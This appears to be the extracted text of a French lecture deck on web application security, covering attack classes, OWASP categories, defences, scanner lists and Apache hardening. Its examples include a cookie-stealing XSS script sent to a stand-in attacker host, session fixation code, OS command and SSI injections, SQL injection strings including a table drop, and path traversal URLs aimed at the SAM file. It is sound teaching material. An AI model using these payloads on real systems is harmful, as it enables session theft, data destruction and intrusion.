Changer lidentifiant de session courant dans la cookie/champ cach/URL
obtention de lidentit de lutilisateur suivant.

Ben Farh Hdi

Insufficient Authorization:

Ceci arrive lorsqu'un site web permet un attaquant d'accder des


contenus critiques ou des fonctionnalits sans pour autant avoir les
autorisations ncessaires.

Exemple:
Mme exemple pour /admin/ mais cette fois aprs stre authentifi.

Ben Farh Hdi

Insufficient Session Expiration:

Permettre un attaquant de rutiliser les vieux pouvoirs associs une


ID de session et daugmenter ses privilges dautorisation en volant ou
usurpant l'identit d'autres utilisateurs.

Exemple:
Dans un environnement de PC libre accs (plus quune personne a un
accs physique non restreint un PC). Si lapplication web ne termine pas la
session en cours de lutilisateur mais le redirige simplement vers la page
daccueil du site. Un autre utilisateur peut en consultant lhistorique de
navigation du browser, accder aux pages visites alors que celles-ci
devraient tre inaccessibles SESSION EXPIRE .

Ben Farh Hdi

Session Fixation:

Technique qui force l'identifiant de session d'un utilisateur ( session ID) une valeur
prdfinie.

Exemple:
Code Snippet:

http://example/<script>document.cookie="sessionid =1234;%20
Expires=Friday,%201 Jan2010%2000:00:00%20GMT;</script>.idc

Ben Farh Hdi

Client Side Attack

Met en lumire les attaques visant abuser ou exploiter un utilisateur


dun site web.

Ben Farh Hdi

Content Spoofing:

Faire croire un utilisateur que certains contenus figurant sur un site


web sont lgitimes et ne proviennent pas de source externe.

Exemple:
<frame src=http://foo.example/file.html>

Ben Farh Hdi

Cross-site Scripting:
Le Cross Site Scripting (XSS) est une attaque exploitant une faiblesse d'un
site web qui valide mal ses paramtres en entre.
Du code HTML, Javascript ou VBScript est envoy en paramtre
l'application.
Celle-ci envoie ensuite ce code un autre utilisateur. Le code provenant
d'une tiers partie servira afficher du contenu subversif, rediriger
l'utilisateur vers un autre site ou voler l'information du client accessible
par le site web.
Exemple:
Cookie Stealing Code Snippet:

<SCRIPT>document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi</SCRIPT>

Ben Farh Hdi

Command Execution

Attaques visant excuter des commandes distantes sur le serveur web.

Ben Farh Hdi

Buffer Overflow (dbordement de mmoire):


Altration du comportement d'un programme en rcrivant une partie de la zone
mmoire de ce dernier. Ce qui pourra causer un dbordement de mmoire, ou
mme une excution de code alatoire.
Cest aussi, lhabilit rcrire le pointeur du tas et de rediriger le programme vers
des instructions malicieuses.

noter:
Se produisent le plus frquemment dans les langages de
programmation tels que C et C + +.
Un dbordement de tampon peut se produire dans un program CGI
ou quand une page Web accde un program C.

Ben Farh Hdi

Format string attack:


Cest presque du buffer overflow, mais en ralit sa se limite se servir
des possibilits offertes par les fonctions (C/C++) de formatage de
chanes de caractres pour accder un autre espace mmoire.
Ainsi, un Dni de service, et/ou une excution de code alatoire est
possible.

noter:
Se produisent le plus frquemment dans les langages de programmation
tels que C et C + +.
Un dbordement de tampon peut se produire dans un program CGI ou
quand une page Web accde un program C.

Ben Farh Hdi

LDAP injection:
Technique dattaque utilise pour exploiter les sites Web qui construisent des
instructions LDAP partir des entres de lutilisateur. En effet, les
applications web peuvent utiliser les donnes entres par lutilisateur pour
formuler des requtes LDAP afin de pouvoir chercher les donnes des pages
dynamiques.
Exemple:
Prenons lexemple de ce paramtre envoy la page ldapsearch.asp. En tenant
compte de code source de la page en question, la requte suivante:
http://example/ldapsearch.asp?user=*, listera tous les objets LDAP contenant
un attribut UID.
(exemple de code source de ldapsearch.asp dans la page suivante.

Ben Farh Hdi

Ldapsearch.asp:
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user
name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) +")" ' searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base dn
.
.
.
Ben Farh Hdi

OS Commanding:

Technique utilise pour exploiter les sites Web en excutant des


commandes du systme d'exploitation par le biais de la manipulation de
la demande d'entre.

Exemple:
URL dorigine

http://example /cgibin/showInfo.pl?name=John&template=temp1.txt

OS Command

http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|

Ben Farh Hdi

SQL Injection:
Exploitation des sites web qui construisent leurs instructions SQL partir
des donnes entres par lutilisateur.
Exemple:
Code SQL de la page web
SQLQuery = SELECT UserName FROM Users WHERE UserName = &
strUserName & AND Password = & strPassword &
strAuthCheck = GetQueryResult(SQLQuery)
Login/Password saisie
Login :
OR =
Password : OR =
Requte envoye au serveur SQL
SELECT UserName FROM Users WHERE UserName = OR = AND
Password =
OR =

Ben Farh Hdi

SSI Injection (Server Side Injection):

Exploitation du manque de contrle sur les donnes entres par un


utilisateur (dans un champ de formulaire) pour excuter des commandes
cot serveur.

Exemple:
Serveur sur une machine Unix

<!--#exec cmd="/bin/ls /"-->

Liste le contenu du rpertoire


racine

Serveur Web .NET

<!--#exec cmd="/bin/ls /"-->

Affiche les donnes de


configuration du serveur .NET

Ben Farh Hdi

XPath Injection:

XPath: langage utilis pour traiter des fichiers XML.


XPath injection: Technique dattaque utilise pour exploiter des sites Web
qui construisent des requtes XPath partir des entres fournies par
l'utilisateur.
Exemple:
Mme principe que du SQL Injection.

Ben Farh Hdi

Information disclosure

Couvre les attaques visant acqurir des informations spcifiques


propos du site web, du serveur web lui-mme,

Ben Farh Hdi

Directory indexing:

Listage/Indexation automatique dun rpertoire est une fonction de


serveur web qui liste tous les fichiers dans un rpertoire demand si le
fichier de base (index.html / home.html / default.htm) n'est pas prsent.
De ce fait, des informations critiques peuvent tre obtenues.

Exemple:
Prsence de fichiers .bak .old et mme des .conf .config

Ben Farh Hdi

Information leakage:

Littralement fuite d'information: C'est quand un site Web rvle des


donnes sensibles, telles que les commentaires du dveloppeur ou des

messages d'erreur, ce qui peut aider une personne malveillante


l'exploitation du systme. Ces informations peuvent tre prsentes dans
des commentaires HTML, des messages d'erreur, le code source.
Bien que les fuites ne reprsentent pas ncessairement une brche dans
la scurit, il donne un attaquant des orientations utiles pour une
exploitation future. Les fuites d'informations sensibles peuvent donner
diffrents niveaux de risques et devraient tre limites autant que
possible.

Ben Farh Hdi

Exemple:
<TABLE border="0" cellPadding="0"
cellSpacing="0height="59 idth="591
><TBODY><TR><!--If the image files are
missing,restart VADER --><TD bgColor="#ffffff"
colSpan="5height="17" width=

An Error Has Occurred.


Error Message:
System.Data.OleDb.OleDbException:
Syntax error
(missing operator) in query expression
username = '''
and password = 'g''. at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling (
Int32 hr) at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextForSingleResult (
tagDBPARAMS dbParams, Object&
executeResult) at

Nom du serveur est VADER

Rvle les paramtres utiliss par la


requte SQL: username et
password ce qui peut aider un
attaquant crer une requte SQL
cible.

Ben Farh Hdi

Path traversal
Forcer l'accs aux fichiers, rpertoires, et les commandes qui peuvent
rsider en dehors du rpertoire racine du serveur web. Un attaquant
peut manipuler une URL de faon ce que le site Web excute ou rvle
le contenu de fichiers de faon arbitraire n'importe o sur le serveur
Web. Tout dispositif qui offre une interface base sur HTTP est
potentiellement vulnrable Path Traversal.
Les plus lmentaires Path Traversal attaque utilisent la squence de
caractre spcial "../ pour modifier l'emplacement des ressources
demandes dans l'URL.

http://www.example.com/../../../../winnt/repair/sam

Ben Farh Hdi

Path traversal

Exemple:
Attaque contre le serveur web
Attack: http://example/../../../../../some/file
Attack: http://example/..%255c..%255c..%255csome/file
Attack: http://example/..%u2216..%u2216some/file

Attaque contre lapplication web


Original: http://example/foo.cgi?home=index.htm
Attack: http://example/foo.cgi?home=foo.cgi

Ben Farh Hdi

Predictable Resource Location:


Utilise pour dcouvrir le contenu et/ou les fonctionnalits caches dun
site Web. l'attaque est de type recherche brute force de contenu non
destin au publique: Les fichiers temporaires, fichiers de sauvegarde, les
fichiers de configuration et les fichiers d'exemples sont autant
d'exemples potentiels de fichiers recherchs.

Exemple:
Recherche de fichiers et repertoires frquemment utiliss
/admin/
/backup/
/logs/
/vulnerable_file.cgi
Ajouter des extensions aux fichiers existants:
(/test.asp)
/test.asp.bak
/test.bak
/test

Ben Farh Hdi

Logical Attacks

Abus du flux dexcution des fonctions offertes par un site web.

Ben Farh Hdi

Abuse of functionality:

Elle se sert des propres caractristiques et fonctionnalits d'un site web


pour consommer, frauder, ou contourner les mcanismes de contrle
daccs. Certaines fonctionnalits d'un site Web peuvent-tre abuses,
mme des fonctions de scurit, de faon provoquer un comportement
inattendu.
Exemple:
Un attaquant cre simplement une URL qui a fourni les paramtres e-mail souhaits et
effectuer une HTTP GET la CGI, telles que:
http://example/cgi-bin/FormMail.pl?destinataire=email.victime@victim.example
&message=vous%20avais%20t%20spamm

Ben Farh Hdi

Denial of Service
Attaque avec l'intention d'empcher un site Web servir les activits
normales des utilisateurs. Les attaques DoS, qui sont facilement
appliques la couche rseau, sont galement possibles la couche
application. Ces attaques malveillantes essayent dpouser les ressources
essentielles d'un systme, dexploiter des vulnrabilits, ou dabuser des
fonctionnalits dun systme.
Exemple:
Utilisation de SQL injection pour effacer le contenu de la base de donne
dun site.

Ben Farh Hdi

Insufficient Anti-automation:
Quand un site web permet un attaquant d'automatiser un processus
qui ne doit tre effectu que manuellement. Certaines fonctionnalits du
site Web doivent tre protges contre les attaques automatiques
(inscription en ligne, cration de compte email, ). Un robot automatis
pourrait potentiellement excuter des milliers de demandes en une
minute, provoquant la perte potentielle du service.

Exemple:
Chez Yahoo!

Ben Farh Hdi

Insufficient Process Validation:

Quand un utilisateur effectue une certaine fonction dun site Web,


l'application s'attend ce que l'utilisateur navigue dans un ordre
spcifique de squence. Si l'utilisateur effectue certaines mesures tort
ou dsordonnes, une erreur dintgrit des donnes se produise.
Exemples de procds plusieurs tapes comprennent virement
bancaire, mot de passe de rcupration, l'achat caisse, compte
d'inscription, etc.
Ces processus auront probablement besoin de certaines mesures
effectuer, comme prvu.

Ben Farh Hdi

Architecture Rseau
L'architecture est la combinaison des routeurs et/ou machines

Une solution complte de scurit Internet est gnralement un ensemble de boites


Savoir distinguer le nombre de botes avec le niveau de scurit
Savoir distinguer le nombre de botes avec la facilit d'administration

Vrifier que la solution a la capacit :


De tout protger, y compris les services risques, sur des machines
spcifiquement protges, sur des DMZ, tels que :
Courrier lectronique
Serveur WWW destin au public
Application Extranet
D'authentifier les utilisateurs sur une machine scurise qui :
N'est pas expose directement aux attaques
Ne supporte pas en mme temps des services risques

Ben Farh Hdi

Architecture Rseau

Ben Farh Hdi

Architecture Rseau

Ben Farh Hdi

Applications Web mtier

Applications accdes en rseau au moyen dun client lger (Web)


Pour tout type de structure
PME/PMI, Grandes entreprises, service public...
Service fourni
- Externe
- Commerce en ligne
- Catalogue de produits
- Banque en ligne (Virements, consultation)
- Webmail
-
- Interne : Accs aux ressources internes de l'entreprise
- Annuaire
- Rfrentiel de documents (commercial, technique)
- Plannings
-
Ben Farh Hdi

Avantages
pas dinstallation pralable (client lger), ni maintenance

accs de partout, via Internet (appli. externes)

Web-isation de vieilles applications (Web Services)

Technologies utilises
Langages : HTML, Javascript, PHP/ASP/CGI, Perl, Java, ActiveX
Base de Donnes : MySQL, Oracle, MS-SQL Server, Sybase
Serveurs d'applications : Tomcat, Websphere
Serveurs Web : IIS, Apache
Systmes dexploitation : Windows, Linux, UNIX...

Ben Farh Hdi

La scurit dans un rseau peut s'appliquer deux niveaux ou deux couches :

Au niveau rseau
couches ISO 3-4 (et infrieures)
c'est le filtrage IP
typiquement ralis par un routeur

Au niveau applicatif
couches ISO 5-7
c'est le relayage applicatif
typiquement ralis sur un serveur

Ben Farh Hdi

RELAYAGE APPLICATIF

Relayage applicatif = proxy services


Un relais se place entre une application cliente et une application serveur
Un service de relayage est un dmon
il tourne sur une machine intermdiaire
il agit en serveur d'un cot et en client de l'autre
il permet une phase d'identification et d'authentification de l'utilisateur

Un bon service de relayage


Ne doit jamais imposer un client ou un serveur spcifique
Doit toujours authentifier l'utilisateur
Doit toujours lier son relayage l'authentification de l'utilisateur
Peut tre transparent

Ben Farh Hdi

Ben Farh Hdi

Ben Farh Hdi

QUALIT DES DVELOPPEMENTS WEB


Les composants dune application Web et leurs vulnrabilits

Classification OWASP
Injection et dnis de service

Ben Farh Hdi

Les diffrentes couches WEB


Donnes

Donnes originales: Texte, images, fichiers

Database

Access, SQL Server, MySQL, ORACLE

CGI codes

Perl, php, servelet, jsp, asp

Serveur WEB
Code dinterface utilisateur
Navigateur
INPUT

Apache, IIS, Websphere, Weblogic, Netscape Enterprise


Html, Forms, Javascript, Coldfusion

Toutes les couches sont


potentiellement vulnrables une
attaque
Ben Farh Hdi

Ben Farh Hdi

Ben Farh Hdi

Les composants dune applications Web et leurs Vulnrabilits

Ben Farh Hdi

Interprtation des URLs


Les URLs utilises dans le cadre dune application Web, sont du type :
http://www.domaine.tn/chemin/fichier.ext?param1=x&param2=y

Une telle URL est compose de plusieurs parties :


http:// protocole utilis
www.domaine.tn adresse du serveur (FQDN)
Chemin arborescence de rpertoires sur le serveur web
Fichier.ext fichier lu ou excut
Param1 et param2 paramtres dexcution, interprts soit au niveau des
Composants mtiers, soit directement au niveau de la base de donnes.

Ben Farh Hdi

Chacune de ces parties est susceptible dtre attaque

Protocole : On peut par exemple essayer de remplacer le protocole https par http
Afin de dsactiver une authentification par certificat.

Serveur : On peut le remplacer par son @IP ou par les nom de domaines
Dautres sites hbergs sur le mme serveur, afin davoir accs dautres parties
du site.

Chemin : On peut tenter de naviguer dans larborescence pour accder des


Parties du site non autorises ou pour remonter dans larborescence par
Lutilisation de /../../ , ou en utilisant des vulnrabilits particulires (le bug
Unicode de IIS).

Ben Farh Hdi

Ben Farh Hdi

Fichier : Son extension va dterminer quel type dexcutable il sagit: CGI


Scripts ASP; HTR ou autre code excutable, etc Plusieurs types de fichiers
Ont connu des vulnrabilits attaches leur mode dexcution, et en particulier
leur interprteur. Ainsi, cest une vulnrabilit dans le filtre ISAPI dIIS, qui interprte
Les fichiers .IDA/.IDQ, qui a permis la propagation du ver CodeRed.

Paramtres : La manipulation des noms de paramtres et de leur contenu peut conduire


des effets dangereux. (Plus loin)

Ben Farh Hdi

Ben Farh Hdi

Afin dviter la divulgation dinformations importantes, laccs au code source


des scripts ou au contenu des fichiers, lexcution de commandes sur le serveur,
ou mme lobtention dun shell sur le serveur, il convient de prendre les
recommandations suivantes:
Scuriser lOS et le serveur Web (patches de scurit)
Installer larborescence web sur une partition ddie
Contrler strictement larborescence web et supprimer les rpertoires inutiles
Dsactiver le Directory browsing sur lensemble du site web
Supprimer tous les filtres, interprteurs de scripts, CGI et autres excutables
inutiles.
Supprimer tous les fichiers inutiles sur un serveur de production, notamment
les pages dexemple.
Appliquer des permissions daccs strictes sur les fichiers au niveau du serveur web
Lutilisateur anonyme ne doit avoir que des permissions en lecture sur les pages
statiques.
Utiliser un filtre dURLs (mod_rewrite pour Apache, ou le filtre ISAPI URLScan
pour IIS).
Appliquer des rgles strictes afin de contrler, de rcrire ou dinterdire toutes
les URLs contenant des caractres dangereux, tels quUnicode.
Installer un reverse proxy
Installer un IDS sur la DMZ hbergeant le serveur Web
Ben Farh Hdi

Mauvais contrle des donnes entres par lutilisateur

Ne jamais faire confiance au code tournant du cot client (exemple : virement bancaire)

Considrons le cas dune page Web permettant deffectuer un virement bancaire.


Par prcaution, la banque limite les virements par Internet 1000 Dinars. Un
Javascript contenu dans la page HTML contrle en temps rel le montant
saisi et empche toute validation avant que le montant soit correct.

Dans ces conditions, il suffit de modifier le script, ou mme simplement de


dsactiver Javascript, pour pouvoir saisir le montant voulu et valider le formulaire.

La recommandation qui simpose est donc de toujours contrler la validit des


donnes fournies par lutilisateur au moins ct serveur.

Ben Farh Hdi

Dautre part, il existe des caractres spciaux dont la signification, au sein dune
chane alphanumrique, peut respecter une syntaxe particulire au niveau dun
langage de programmation ou dun systme dexploitation, ce qui peut conduire
lexcution de commandes hostiles.

Ces caractres figurent parmi les suivants :

!@$%^&*()-_+`~\|[]{};:'"?/,.><

Ben Farh Hdi

Ainsi, le caractre * est interprt sur UNIX comme lensemble des fichiers
contenus dans le rpertoire courant.
De mme, le caractre ; est un sparateur, les caractres < et >
effectuent des redirections, % permet dentrer des caractres par leur code
hexadcimal, etc

Il est donc indispensable de filtrer ces caractres lintrieur des donnes


fournies par lutilisateur, en les codant en leurs quivalents en HTML ( >
devient &gt ; , < devient &lt ;, etc), ou en leur ajoutant un caractre
dchappement ( \ par exemple), ou encore en les supprimant, ou enfin en
refusant purement et simplement la transaction en demandant lutilisateur de
modifier sa saisie.

Ben Farh Hdi

En rsum, les recommandations ncessaires pour contrer la saisie de


donnes hostiles par un utilisateur sont les suivantes :

Ncessit dun double contrle ct client plus ct serveur


Comptage du nombre de paramtres et de leur nom
Neutralisation des caractres spciaux
Contrle de la longueur des donnes
Validation du type des donnes (date, chane, nombre)
Contrle de lintervalle de validit des donnes (dans labsolu)
Vrification de la validit relle des donnes (en relatif, dans une base de donnes)
Limitation du nombre de saisies de donnes par unit de temps.
Ceci permet dviter les attaques de type force brute et peut simplmenter
par exemple en multipliant chaque fois le temps dattente avant la fin de
la transaction par deux entre deux transactions identiques.

Ben Farh Hdi

OWASP
LOWASP (Open Web Application Security Project) , est un effort communautaire
destin aider les organisations comprendre et amliorer la scurit de
leurs applications et services Web.

Plusieurs ressources disponibles:


- Publications ,articles, standards, ex:
OWASP Guide to Building Secure Web Applications
OWASP Testing Guide
OWASP Code Review Project (in development)
OWASP PHP Project (in development)
OWASP Java Project
OWASP .NET Project
- Outils:
WebGoat
WebScarab
- Mailing-lists
Ben Farh Hdi

Classification OWASP
Paramtres non valids

Requte Web non valide avant son


utilisation

Contrle daccs rompu

Mauvaise gestion des droits daccs

Gestion de la session

Crdits et jetons mal protgs

Faille CSS

Souvent par un vol de session aprs


rebond sur un client en ligne

Buffer overflow

Crash du serveur par dbordement (ou


autre effets)

Injection de commandes

Passages de paramtres par les serveurs


HTTP vers dautres serveurs applicatifs

Condition derreur

Fournit des informations dtailles sur le


systme

Utilisation non scurise de la


cryptographie

Protection faible

Administration distance

Fonctions administratives mal protges

Mauvaise configuration des serveurs

Mauvaise scurisation par dfaut


Ben Farh Hdi

Meilleures pratiques ct serveur


La majeure partie de la scurit applicative consiste valider les
entrants des usagers.
Ne JAMAIS faire confiance aux donnes provenant des usagers.
Il est essentiel de tout valider car tout peut tre modifi:
Les champs de type hidden
Cookies
Paramtres de requtes GET et POST
Headers HTTP
La validation doit tre mise en place diffrents niveaux:
La validation ct client (Javascript) ne peut tre prise aux srieux.
La validation ct serveur est la seule valable, elle doit idalement tre
mise en place au niveau de lapplication et au niveau de la base de
donnes
Sensibilisation des dveloppeurs aux problmes de scurit !

Ben Farh Hdi

Meilleures pratiques ct client


Sensibilisation des usagers !
Application rapide des correctifs du systme dexploitation
Mise en place et entretient des logiciels de protection courants: antispyware,
anti-virus, HIPS, etc
Utilisation de mcanismes de dfense primtrique pour bloquer
laccs aux sites Web non-autoriss
Mise jour des logiciels tel que: Microsoft Office, Windows Media
Player, Acrobat Reader, WinAMP, QuickTime, etc.
Dsactivation de JavaScript/ActiveX (extension NoScript de Firefox
ou model de zone de IE)
Veille technologique sur lapparition de nouvelles menaces

Ben Farh Hdi

Injections et Dnis de service


Les attaques par injection sont des attaques visant les sites web s'appuyant sur des
bases de donnes relationnelles.

Exemple :
Les attaques par injection SQL (SQL Injections)

Ben Farh Hdi

SQL Injection
Dfinition : Une injection SQL est un type d'exploitation d'une faille de
scurit d'une application web, en injectant une requte SQL non prvue par
le systme et pouvant compromettre sa scurit.
Considrons un site web dynamique (programm par exemple en PHP) qui
dispose d'un systme permettant aux utilisateurs possdant un nom
d'utilisateur et un mot de passe valides de se connecter.
Ce site utilise la requte SQL suivante pour identifier un utilisateur :
SELECT uid WHERE name = '(nom)' AND password = '(mot de passe chiffr)'
L'utilisateur TOTO souhaite se connecter avec son mot de passe "truc" encod
en MD5. La requte suivante est excute :

SELECT uid WHERE name = TOTO' AND password =


'45723a2af3788c4ff17f8d1114760e62'

Ben Farh Hdi

SQL Injection (suite)


Imaginons prsent que le script PHP excutant cette requte ne vrifie pas les
donnes entrantes pour garantir sa scurit. Un hacker pourrait alors fournir les
informations suivantes :
Utilisateur : TOTO' -Mot de passe : n'importe lequel
La requte devient :
SELECT uid WHERE name = TOTO' -- ' AND password =
'4e383a1918b432a9bb7702f086c56596e'
Les caractres -- marquent le dbut d'un commentaire en SQL. La requte est donc
quivalente :

SELECT uid WHERE name = TOTO'


Le hacker peut alors se connecter sous l'utilisateur TOTO avec n'importe quel mot
de passe. Il s'agit d'une injection de SQL de base russie.
Ben Farh Hdi

SQL Injection (suite)


Ici, la solution consiste traiter correctement les
chanes de caractres entres par l'utilisateur. En
PHP on peut utiliser pour cela la fonction
mysql_real_escape_string, qui transformera la
chane ' -- en \' --. La requte deviendrait alors :
SELECT uid WHERE name = TOTO\' -- ' AND password
='4e383a1918b432a9bb7702f086c56596e'

Ben Farh Hdi

SQL Injection (Autre exemple)


sql = "select * from users where username = " +
username + " and password = " + password + "";
Username: ; drop table users-Password:
Requte Finale :
select * from users where username = ; drop
table users -- and password = ;

Ben Farh Hdi

Il est galement possible dobtenir de linformation sur la


BDD.
Tables
Nom de colonne
Erreur

Login: HAVING 1=1;-Error:Column 'Users.Level' is invalid in the select list


because it is not contained in an aggregate function and
there is no GROUP BY clause

Impact: Divulgation dinformation qui permet de


construire des requte cible.

Ben Farh Hdi

Un dni de service (DOS), cest quoi ?


Un dni de service est une attaque qui porte bien
son nom puisque quelle aboutira l'indisponibilit
du service cible (application spcifique) ou des
machines vise. Nous distinguerons cependant
deux types de dni de services :
d'une part ceux dont l'origine est l'exploitation d'un
bug d'une application (Process du serveur Web :
inetinfo pour IIS ou Httpd pour Apache
d'autre part ceux dus une mauvaise implmentation
d'un protocole ou des faiblesses de celui-ci.

Ben Farh Hdi

Les dnis de service applicatifs


Tout comme les vulnrabilits d'une application
entranent la possibilit de prendre le contrle d'une
machine (cas dun buffer overflow), elles peuvent aussi
amener un dni de service. L'application sera alors
indisponible par saturation des ressources qui lui sont
alloues ou un crash de celle-ci.

Ben Farh Hdi

XSS (Cross Site Scripting)


Insertion non prvue de code HTML ou JavaScript dans la page envoye par le
serveur
Excution de ce code par le navigateur dans le contexte de scurit du document
envoy par le serveur

Attaque par injection de code sur le navigateur du client via le serveur

Ben Farh Hdi

Trois participants :
L'attaquant : introduit le code sur le serveur.
Le serveur : envoie la page contenant le code la victime.
La victime : excute le code introduit par l'attaquant.

Deux mthodes pour injecter le code :


Stockage par le serveur
Page gnre partir de paramtres

Ben Farh Hdi

XSS par Stockage


L'attaquant envoie le code au serveur (exemple, dans un forum Web)
Le serveur le stocke ...
... et l'envoie tel quel au client lors de la gnration et la visualisation de la
page ...

Ben Farh Hdi

XSS par Rflexion


Utilisation d'une page paramtre
Exemple http://www.serveur.tld/erreur.jsp?msg=<h3>TEXTE</h3>
Affichage de la variable msg par le serveur
Envoi de l'URL via un Email ou un serveur de type tinyurl.com ou
minilien.com

Ben Farh Hdi

Redirection automatique vers un autre site :


<script>document.location="http://www.cible.tn/"</script>
Rend inutilisable la page gnre
L'utilisateur ne comprend pas la manipulation
Rcupration du Referer (page prcdente) dans les journaux du serveur
Web de l'attaquant:
127.0.0.1 - - [14/May/2004:15:54:24 +0200] "GET / HTTP/1.1" 200 "http://localhost.cible.tn/app1/article.php?id=15" "Mozilla/5.0 (X11; U;
Linux i686; en-US; rv:1.6) Gecko/20040207 Firefox/0.8"

Ben Farh Hdi

Fixation de session
Principe : utiliser un XSS afin d'imposer un cookie connu la victime
Schma :
L'attaquant se connecte sur le serveur en mode anonyme
Il reoit un
cookie de session (ex JSP ou PHP)
Il utilise un XSS sur un serveur du mme domaine pour fixer le cookie
chez la victime (via le code JavaScript de type
document.cookie="PHPSESSIONID=78191;domain=.site.tn"
Il attend que la victime s'authentifie sur le serveur. Si celui ci est mal
programm (exemple sessions J2EE), le cookie sera accept.
L'attaquant possde alors un cookie de session authentifi valide qu'il peut
utiliser en parallle avec la victime

Ben Farh Hdi

Ben Farh Hdi

Solutions de protection
Ide la plus commune : Filtrer les entres
Supprimer <script> </script> ne rgle pas tout (IMG, <%00script>, ...)
Il y a d'autres manires de gnrer du code dynamique (OnLoad, OnClick,
IFRAME, ...)
Il faut donc tre trs strict dans ce qui est accept, et comparer les entres
par rapport une expression rgulire de type [a-zA-Z0-9]+

Il faut convertir les donnes en sortie ...


Systmatisation
Ne dpend plus des entres ni du contenu des bases de donnes

Ben Farh Hdi

... selon le langage


PHP : htmlentities()
Perl : escapeHTML()dans CGI.pm
J2EE : utilisation des taglibs ou des classes javax.swing.text.html
ASP : HtmlEncode()

Attention aux bugs dans les serveurs eux mme


Multiples exemples dans Apache, TomCat, IIS, WebSphere, ...
En gnral dans les pages d'erreurs
Se tenir jour

Gestion scurise des cookies


Une session anonyme ne doit pas tre rutilise
Utilisation du marquage secure et not for javascript des cookies
Selon le langage a peut tre difficile ...

Ben Farh Hdi

Les problmes de XSS concernent la majorit des applications Web


Parfois considr comme un problme rsiduel
Impacts pourtant potentiellement graves
Attention : un XSS sur une partie d'un domaine peut impacter l'ensemble des
sites

Solutions
Former les dveloppeurs !
Penser globalement aux problmes de validation des donnes
Utiliser des technologies qui rduisent les risques ("Quand on rinvente la
roue, il y a de fortes chances qu'elle ne soit pas tout fait ronde").
Faire auditer les applications (audit de code ou audit intrusif aveugle)

Ben Farh Hdi

PRSENTATION DOUTILS
Les Scanners de Vulnrabilits pour les failles de service
NESSUS (www.nessus.org)
Retina (www.eeye.com)
Shadow Security Scanner (www.safety-lab.com)
GFI LanGuard N.S.S (www.gfi.com/lannetscan/)
Qualys (www.qualys.com)

Les Scanners de vulnrabilits Web pour les failles applicatives.


Accunetix (www.acunetix.com)
N-Stalker (www.nstalker.com)
WatchFire (www.watchfire.com)
Wikto,Nikto, Webscarap, Plugins Firefow etc

Les Framework de Pentesting pour prendre le contrle dune machine distante et


poursuivre le pentest.
Metasploit 2 & 3 (www.metasploit.com/)
Exploitree 1.0
CANVAS (www.immunitysec.com)
Core-Impact (www.coresecurity.com)

Ben Farh Hdi

1.

SPI Dynamics WebInspect

2.

Sanctum now Watchfire AppScan

3.

Cenzic Hailstorm

4.

NT Objectives NTOSpider (HP, DNE new GUI version)

5.

Acunetix Web Vulnerability Scanner 2

6.

Compuware DevPartner Fault Simulator

7.

Whitehats Security

8.

Fortify Pen Testing Team Tool

9.

Burp Intruder

10.

MaxPatrol 7

11.

Syhunt Sandcat Scanner & Miner

12.

TrustSecurityConsulting HTTPExplorer

13.

Ecyware BlueGreen Inspector

14.

NGS Typhon

15.

Parasoft WebKing

16.

Kavado Scando

17.

AppSecInc AppDetective for Web Apps

18.

@stake Web Proxy 2.0

19.

Sandsprite Web Sleuth

Ben Farh Hdi

Open Source Injection Test Tools


1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.

WebScarab (DNE current version, re: HTTPush, Exodus)


Paros Proxy (HP)
Watchfire PowerTools (HP, free, proxy nice GUI, rest so-so)
Burp Spider (HP, free)
Burp Proxy (HP, free)
Snark HTTP Proxy & Tabby Tunnel (DNE)
Peach Fuzzer (HP, free, Python fuzzer)
SPIKE Proxy (Horrible interface, free, limited fuzzing)
SPIKE Fuzzer (dev EOL? Dave pointing people at Peach)
Achilles Proxy (TOY, first Windows proxy, free, old)
Odysseus Proxy (some cool features, GUI needs work)
Webstretch Proxy (DNE)
Absinthe 1.1 (formerly SQLSqueal) (HP, free)
Sensepost E-Or, Wikto (Google hacking utility), other
webappsec and pen testing tools
(everything Sensepost is working on is worth looking at)

Ben Farh Hdi

SCURIT DES SERVEURS WEB

Apache
Internet Information Services (IIS)

Ben Farh Hdi

APACHE

Ben Farh Hdi

APACHE
Apache est un serveur web trs populaire, performant, et sa conception
modulaire le dote d'une grande richesse fonctionnelle

HTTP/1.1 200 OK Date: Sat, 02 Jun 2001


13:11:40 GMT Server: Apache/1.3.14
(Unix) (Red-Hat/Linux) PHP/4.0.3pl1
mod_perl/1.24 Connection: close ContentType: text/html

Le serveur Apache tourne sous une distribution RedHat et les langages


Perl et PHP sont actifs

Ben Farh Hdi

Pour limiter la divulgation dinformation, on insre dans le fichier de configuration


/etc/httpd/conf/httpd.conf
La ligne ServerTokens Prod .

la bannire Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)


se limite Server: Apache

PHP/4.0.3pl1 mod_perl/1.24

Cette option n'apparat pas toujours dans le fichier de configuration

(RedHat et Mandrake)

Ben Farh Hdi

Cela ne suffit toujours pas masquer la version d'Apache : lors dune page inexistante,
Apache renvoie une page d'erreur
404 avec en bas de la page, le message Apache/1.3.14 Server at
www.mon-serveur.org Port 80
qui rvle la version du serveur d'Apache.
Pour empcher cela, il faut dsactiver l'insertion de la signature du serveur avec la
commande ServerSignature Off.
Utiliser ErrorDocument 404 /missing.html pour dfinir votre propre page d'erreur 404.

Ben Farh Hdi

Limitations contre les DoS


De faon limiter la porte des attaques de type Denial of Service, il est conseill de
limiter le nombre de connexions simultanes
MaxClients et en particulier le nombre de connexions persistantes MaxKeepAliveRequests.
Celles-ci sont apparues avec la norme HTTP 1.1.
Elles permettent d'effectuer des requtes successives lors de la mme connexion, ce qui augmente
les performances du serveur.
L'utilisation d'un timeout empche les connexions sans fin.

Exemple :

MaxClients 150
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
Ben Farh Hdi

Gestion des fichiers log


